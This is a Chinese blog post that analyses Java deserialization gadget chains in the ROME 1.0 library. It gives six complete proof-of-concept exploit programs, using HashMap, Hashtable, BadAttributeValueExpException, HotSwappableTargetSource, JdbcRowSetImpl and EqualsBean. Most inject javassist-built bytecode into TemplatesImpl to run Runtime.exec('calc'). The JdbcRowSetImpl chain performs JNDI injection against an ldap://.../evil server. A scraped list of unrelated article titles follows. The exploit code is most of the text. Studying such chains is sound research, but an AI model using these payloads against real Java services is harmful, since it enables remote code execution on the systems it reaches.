• Rome反序列化链分析


    环境搭建

    
        
          junit
          junit
          4.11
          test
        
        
          rome
          rome
          1.0
        
        
          org.javassist
          javassist
          3.28.0-GA
        
      
    

    ObjectBean链

    先看看调用栈:

     * TemplatesImpl.getOutputProperties()
     * ToStringBean.toString(String)
     * ToStringBean.toString()
     * EqualsBean.beanHashCode()
     * EqualsBean.hashCode()
     * HashMap.hash(Object)
     * HashMap.readObject(ObjectInputStream)
    

    先给出poc,然后一步步调试分析

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Main {
        public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
            // 序列化
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(hashMap);
            // 反序列化
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
            ois.close();
            return bos;
        }
        public static void Base64Encode(ByteArrayOutputStream bos){
            byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
            String s = new String(bytes);
            System.out.println(s);
            System.out.println(s.length());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
            Map hashMap = new HashMap();
            hashMap.put(objectBean, "x");
            setFieldValue(objectBean, "_cloneableBean",null);
            setFieldValue(objectBean,"_toStringBean", null);
            ByteArrayOutputStream bos = unSer(hashMap);
            Base64Encode(bos);
        }
    }
    

    在readObject处打个断点开始调试

    进入HashMap的readObject

    跟进hash方法

    跟进hashCode方法

    来到ObjectBean的hashCode方法,_equalsBean是EqualsBean的实例对象,跟进它的beanHashCode方法

    _obj是ToStringBean的实例对象,跟进它的toString方法

    进入另一个有参方法toString

    this._beanclassjavax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors,跟进

    这里就很怪了,看其它博主的调试文章说是像是fastjson的任意get,set方法调用,在hashMap进行put时会进入getPDs方法,但我经过实际调试确是没法进入这个方法,我跟进的是进入invoke,_obj是我们的TemplatesImpl的实例对象
    进入invoke后,往后会调用到NativeMethodAccessorImpl的invoke方法,这里的method是Templates的getOutputProperties方法,var1是我们的TemplatesImpl对象

    进入invoke0,就会调用TemplatesImpl的getOutputProperties方法,但是为什么不会弹计算器,这是一个谜,到反序列化的时候,追踪到调用toString的时候才会触发,有师傅知道为什么,麻烦在评论区告诉一下wuwuwu

    HashTable链

    这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;
    
    public class HashTable {
        public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {
            // 序列化
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(hashMap);
            // 反序列化
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
            ois.close();
            return bos;
        }
        public static void Base64Encode(ByteArrayOutputStream bos){
            byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
            String s = new String(bytes);
            System.out.println(s);
            System.out.println(s.length());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
            Map hashTable = new Hashtable();
            hashTable.put(objectBean, "x");
            setFieldValue(objectBean, "_cloneableBean",null);
            setFieldValue(objectBean,"_toStringBean", null);
            ByteArrayOutputStream bos = unSer(hashTable);
            Base64Encode(bos);
        }
    }
    

    链子流程跟上一个一样

    BadAttributeValueExpException链

    这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.Hashtable;
    import java.util.Map;
    
    public class BadAVEE {
        public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
            // 序列化
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            // 反序列化
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
            ois.close();
            return bos;
        }
        public static void Base64Encode(ByteArrayOutputStream bos){
            byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
            String s = new String(bytes);
            System.out.println(s);
            System.out.println(s.length());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
            setFieldValue(badAttributeValueExpException, "val", toStringBean);
            ByteArrayOutputStream bos = unSer(badAttributeValueExpException);
            Base64Encode(bos);
        }
    }
    

    因为不需要hashCode了,所以hashMap和objectbean也就不需要了,直接上ToStringBean,调试流程就不写了,因为没啥太大改动

    HotSwappableTargetSource链

    这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段,这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    import org.springframework.aop.target.HotSwappableTargetSource;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class HotSwapp {
        public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
            // 序列化
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            // 反序列化
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
            ois.close();
            return bos;
        }
        public static void Base64Encode(ByteArrayOutputStream bos){
            byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
            String s = new String(bytes);
            System.out.println(s);
            System.out.println(s.length());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            TemplatesImpl templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
            HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));
            HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);
            HashMap hashMap = new HashMap();
            hashMap.put(h2, h2);
            hashMap.put(h1, h1);
            ByteArrayOutputStream bos = unSer(hashMap);
            Base64Encode(bos);
        }
    }
    

    HashMap中的putval会调用equals方法,触发HotSwappableTargetSource的equals方法

    左边的target是put进去的h1,右边的target是put进去的h2,这样就会调用XString的equals方法,触发toStringBean的toString方法,链子闭合

    JdbcRowSetImpl链

    这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换,这个类在Fastjson中很常见,用于JDNI注入,那么这样也是一样的进行JNDI注入,所以得注意jdk版本,不能高于jdk191,启动一个恶意LDAP服务

    package org.example;
    
    import com.sun.rowset.JdbcRowSetImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import javassist.*;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.sql.SQLException;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class Jdbc {
        public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {
            // 序列化
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            // 反序列化
            ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
            ois.close();
            return bos;
        }
        public static void Base64Encode(ByteArrayOutputStream bos){
            byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());
            String s = new String(bytes);
            System.out.println(s);
            System.out.println(s.length());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://127.0.0.1:1099/evil";
            jdbcRowSet.setDataSourceName(url);
            ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
            HashMap map = new HashMap<>();
            map.put(equalsBean,"xxxxx");
            ByteArrayOutputStream bos = unSer(map);
            Base64Encode(bos);
        }
    }
    

    EqualsBean链

    通过HashSet来触发EqualsBean的equals,调用到getter,任意get方法调用触发TemplatesImpl

    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtConstructor;
    
    import javax.xml.transform.Templates;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.*;
    
    /**
     * Hello world!
     *
     */
    public class App 
    {
        private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
            Field f = obj.getClass().getDeclaredField(field);
            f.setAccessible(true);
            f.set(obj, arg);
        }
        public static void main( String[] args )
        {
            try {
                ClassPool pool = ClassPool.getDefault();
                CtClass ctClass = pool.makeClass("i");
                CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
                ctClass.setSuperclass(superClass);
                CtConstructor constructor = ctClass.makeClassInitializer();
                constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
                byte[] bytes = ctClass.toBytecode();
    
                TemplatesImpl templatesImpl = new TemplatesImpl();
                setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
                setFieldValue(templatesImpl, "_name", "a");
                setFieldValue(templatesImpl, "_tfactory", null);
                EqualsBean bean = new EqualsBean(String.class, "s");
    
                HashMap map1 = new HashMap();
                HashMap map2 = new HashMap();
                map1.put("yy", bean);
                map1.put("zZ", templatesImpl);
                map2.put("zZ", bean);
                map2.put("yy", templatesImpl);
                HashSet table = new HashSet();
                table.add(map1);
                table.add(map2);
                //table.put(map1, "1");
                //table.put(map2, "2");
                setFieldValue(bean, "_beanClass", Templates.class);
                setFieldValue(bean, "_obj", templatesImpl);
                unSerial(table);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
            ByteArrayOutputStream bs = new ByteArrayOutputStream();
            ObjectOutputStream out = new ObjectOutputStream(bs);
            out.writeObject(hashMap);
            ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
            in.readObject();
            in.close();
            return bs;
        }
        private static void Base64Encode(ByteArrayOutputStream bs){
            byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
            String s = new String(encode);
            System.out.println(s);
            System.out.println(s.length());
        }
    }
    
    
  • 相关阅读:
    破天荒呀!小杜微信有名额了
    JavaScript中的实例化研究
    如果把网络原理倒过来看,从无到有,一切都清晰了(上)
    MySQL 连接报错,致命错误怎么解决呢?
    毕设 JAVA JSPsqlserver_基于J2EE的论坛论文
    考研数据结构大题整合_组一(ZYL组)
    i.MX 6ULL 驱动开发 一:搭建开发环境
    如何将 OBJ 模型转换和压缩为 GLTF 以与 AWS IoT TwinMaker 配合使用
    java中将List数据平均切分成N份
    Qt 简约美观的加载动画 第九季
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18124568